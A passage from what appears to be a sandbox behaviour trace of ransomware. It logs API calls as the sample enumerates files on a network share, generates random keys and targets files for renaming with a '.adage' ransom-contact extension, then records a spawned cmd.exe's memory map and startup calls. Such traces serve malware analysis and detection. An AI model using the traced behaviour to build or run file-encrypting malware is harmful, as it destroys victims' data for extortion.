(lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2QSFlSKH2V.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\u2qsflskh2v.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.481] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2QSFlSKH2V.jpg" (normalized: "\\\\192.168.0.1\\documents\\u2qsflskh2v.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.488] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0055.488] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NW3xaHb7.gif" (normalized: "\\\\192.168.0.1\\documents\\nw3xahb7.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0055.737] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=29857) returned 1 [0055.737] CloseHandle (hObject=0x148) returned 1 [0055.737] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NW3xaHb7.gif" (normalized: "\\\\192.168.0.1\\documents\\nw3xahb7.gif")) returned 0x80 [0055.737] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NW3xaHb7.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nw3xahb7.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.893] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NW3xaHb7.gif" (normalized: "\\\\192.168.0.1\\documents\\nw3xahb7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.589] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0057.589] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AEuRQDrOl9iFUCUZ.gif" (normalized: "\\\\192.168.0.1\\documents\\aeurqdrol9ifucuz.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0057.860] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=69957) returned 1 [0057.861] CloseHandle (hObject=0x148) returned 1 [0057.861] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AEuRQDrOl9iFUCUZ.gif" (normalized: "\\\\192.168.0.1\\documents\\aeurqdrol9ifucuz.gif")) returned 0x80 [0057.861] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AEuRQDrOl9iFUCUZ.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\aeurqdrol9ifucuz.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.059] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AEuRQDrOl9iFUCUZ.gif" (normalized: "\\\\192.168.0.1\\documents\\aeurqdrol9ifucuz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.498] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0058.498] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8epnap.wav" (normalized: "\\\\192.168.0.1\\documents\\8epnap.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0058.716] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=97516) returned 1 [0058.717] CloseHandle (hObject=0x148) returned 1 [0058.717] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8epnap.wav" (normalized: "\\\\192.168.0.1\\documents\\8epnap.wav")) returned 0x80 [0058.718] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8epnap.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\8epnap.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.872] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8epnap.wav" (normalized: "\\\\192.168.0.1\\documents\\8epnap.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.188] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0060.188] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\l5waVaq5umcw.wav" (normalized: "\\\\192.168.0.1\\documents\\l5wavaq5umcw.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0060.389] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=33494) returned 1 [0060.389] CloseHandle (hObject=0x148) returned 1 [0060.389] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\l5waVaq5umcw.wav" (normalized: "\\\\192.168.0.1\\documents\\l5wavaq5umcw.wav")) returned 0x80 [0060.389] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\l5waVaq5umcw.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\l5wavaq5umcw.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.596] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\l5waVaq5umcw.wav" (normalized: "\\\\192.168.0.1\\documents\\l5wavaq5umcw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.916] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0060.917] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\H4BFdNII7HeaE.swf" (normalized: "\\\\192.168.0.1\\documents\\h4bfdnii7heae.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0061.060] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=54621) returned 1 [0061.060] CloseHandle (hObject=0x148) returned 1 [0061.060] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\H4BFdNII7HeaE.swf" (normalized: "\\\\192.168.0.1\\documents\\h4bfdnii7heae.swf")) returned 0x80 [0061.061] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\H4BFdNII7HeaE.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\h4bfdnii7heae.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.177] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\H4BFdNII7HeaE.swf" (normalized: "\\\\192.168.0.1\\documents\\h4bfdnii7heae.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.822] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0061.823] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZDi6IHm9Gll50uy.wav" (normalized: "\\\\192.168.0.1\\documents\\zdi6ihm9gll50uy.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0061.929] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=79479) returned 1 [0061.929] CloseHandle (hObject=0x148) returned 1 [0061.930] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZDi6IHm9Gll50uy.wav" (normalized: "\\\\192.168.0.1\\documents\\zdi6ihm9gll50uy.wav")) returned 0x80 [0061.930] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZDi6IHm9Gll50uy.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zdi6ihm9gll50uy.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.054] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZDi6IHm9Gll50uy.wav" (normalized: "\\\\192.168.0.1\\documents\\zdi6ihm9gll50uy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.846] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0062.846] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SVUGEj8tBupVWECY.xls" (normalized: "\\\\192.168.0.1\\documents\\svugej8tbupvwecy.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0063.002] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=61880) returned 1 [0063.002] CloseHandle (hObject=0x148) returned 1 [0063.002] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SVUGEj8tBupVWECY.xls" (normalized: "\\\\192.168.0.1\\documents\\svugej8tbupvwecy.xls")) returned 0x80 [0063.652] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SVUGEj8tBupVWECY.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\svugej8tbupvwecy.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.747] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SVUGEj8tBupVWECY.xls" (normalized: "\\\\192.168.0.1\\documents\\svugej8tbupvwecy.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.222] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0064.222] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\j9JYPCvbXdUa8a9vWWKs.pptx" (normalized: "\\\\192.168.0.1\\documents\\j9jypcvbxdua8a9vwwks.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0064.473] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=71602) returned 1 [0064.473] CloseHandle (hObject=0x148) returned 1 [0064.473] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\j9JYPCvbXdUa8a9vWWKs.pptx" (normalized: "\\\\192.168.0.1\\documents\\j9jypcvbxdua8a9vwwks.pptx")) returned 0x80 [0064.473] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\j9JYPCvbXdUa8a9vWWKs.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\j9jypcvbxdua8a9vwwks.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.676] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\j9JYPCvbXdUa8a9vWWKs.pptx" (normalized: "\\\\192.168.0.1\\documents\\j9jypcvbxdua8a9vwwks.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.055] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0066.056] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\c9ePpp.flv" (normalized: "\\\\192.168.0.1\\documents\\c9eppp.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0066.815] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=45239) returned 1 [0066.815] CloseHandle (hObject=0x148) returned 1 [0066.815] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\c9ePpp.flv" (normalized: "\\\\192.168.0.1\\documents\\c9eppp.flv")) returned 0x80 [0066.815] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\c9ePpp.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\c9eppp.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.230] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\c9ePpp.flv" (normalized: "\\\\192.168.0.1\\documents\\c9eppp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x42b48000" os_pid = "0xf24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xec0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 452 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 453 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 454 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 455 start_va = 0xf0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 456 start_va = 0x4a480000 end_va = 0x4a4d8fff monitored = 1 entry_point = 0x4a4890b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 457 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 458 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 459 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 460 start_va = 0x7ffff000 end_va = 0x7fffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffff000" filename = "" Region: id = 461 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 462 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 463 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 464 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 465 start_va = 0x1f0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 466 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 467 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 468 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 469 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 470 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 490 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 491 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 492 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 493 start_va = 0x7fefb2b0000 end_va = 0x7fefb2b7fff monitored = 0 entry_point = 0x7fefb2b11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 494 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 495 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 496 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 497 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 498 start_va = 0x1f0000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 499 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 500 start_va = 0x3d0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 501 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 502 start_va = 0x4d0000 end_va = 0x657fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 503 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 504 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 505 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 506 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 507 start_va = 0x7f0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 528 start_va = 0xc0000 end_va = 0xdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 531 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 532 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 533 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 534 start_va = 0x1bf0000 end_va = 0x1cb7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 535 start_va = 0x1bf0000 end_va = 0x1cb7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 536 start_va = 0x200000 end_va = 0x200fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basebrd.dll.mui" filename = "\\Windows\\Branding\\Basebrd\\en-US\\basebrd.dll.mui" (normalized: "c:\\windows\\branding\\basebrd\\en-us\\basebrd.dll.mui") Region: id = 537 start_va = 0x1bf0000 end_va = 0x1ebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 19 os_tid = 0xf28 [0041.573] GetProcAddress (hModule=0x77160000, lpProcName="SetConsoleInputExeNameW") returned 0x77170c80 [0041.573] _get_osfhandle (_FileHandle=0) returned 0x9c [0041.573] GetFileType (hFile=0x9c) returned 0x3 [0041.573] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0041.573] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1efba0 | out: TokenHandle=0x1efba0*=0x0) returned 0xc000007c [0041.573] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1efba0 | out: TokenHandle=0x1efba0*=0x54) returned 0x0 [0041.573] NtQueryInformationToken (in: TokenHandle=0x54, TokenInformationClass=0x12, TokenInformation=0x1efbb0, TokenInformationLength=0x4, ReturnLength=0x1efbb8 | out: TokenInformation=0x1efbb0, ReturnLength=0x1efbb8) returned 0x0 [0041.573] NtQueryInformationToken (in: TokenHandle=0x54, TokenInformationClass=0x1a, TokenInformation=0x1efbb8, TokenInformationLength=0x4, ReturnLength=0x1efbb0 | out: TokenInformation=0x1efbb8, ReturnLength=0x1efbb0) returned 0x0 [0041.573] NtClose (Handle=0x54) returned 0x0 [0041.573] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1efb80, nSize=0x0, Arguments=0x1efb88 | out: lpBuffer="鳐.") returned 0xf [0041.574] GetProcessHeap () returned 0x2d0000 [0041.574] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x218) returned 0x2e5da0 [0041.684] GetConsoleTitleW (in: lpConsoleTitle=0x1efbd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0041.685] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0041.685] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0041.685] GetProcessHeap () returned 0x2d0000 [0041.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5da0 | out: hHeap=0x2d0000) returned 1 [0041.686] LocalFree (hMem=0x2e9cd0) returned 0x0 [0041.686] GetProcessHeap () returned 0x2d0000 [0041.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e8c90 | out: hHeap=0x2d0000) returned 1 [0041.686] _vsnwprintf (in: _Buffer=0x4a4c6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ef8b8 | out: _Buffer="\r\n") returned 2 [0041.686] _get_osfhandle (_FileHandle=1) returned 0x100 [0041.686] GetFileType (hFile=0x100) returned 0x3 [0041.686] _get_osfhandle (_FileHandle=1) returned 0x100 [0041.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4bc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0041.686] WriteFile (in: hFile=0x100, lpBuffer=0x4a4bc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ef888, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesWritten=0x1ef888*=0x2, lpOverlapped=0x0) returned 1 [0041.686] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4af360, nSize=0x2000 | out: lpBuffer="") returned 0x4 [0041.687] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4bc0a0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0041.687] _vsnwprintf (in: _Buffer=0x4a4aeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ef8c8 | out: _Buffer="C:\\Users\\kEecfMwgj\\Desktop") returned 26 [0041.687] _vsnwprintf (in: _Buffer=0x4a4aeb94, _BufferCount=0x3e4, _Format="%c", _ArgList=0x1ef8c8 | out: _Buffer=">") returned 1 [0041.687] _get_osfhandle (_FileHandle=1) returned 0x100 [0041.687] GetFileType (hFile=0x100) returned 0x3 [0041.687] 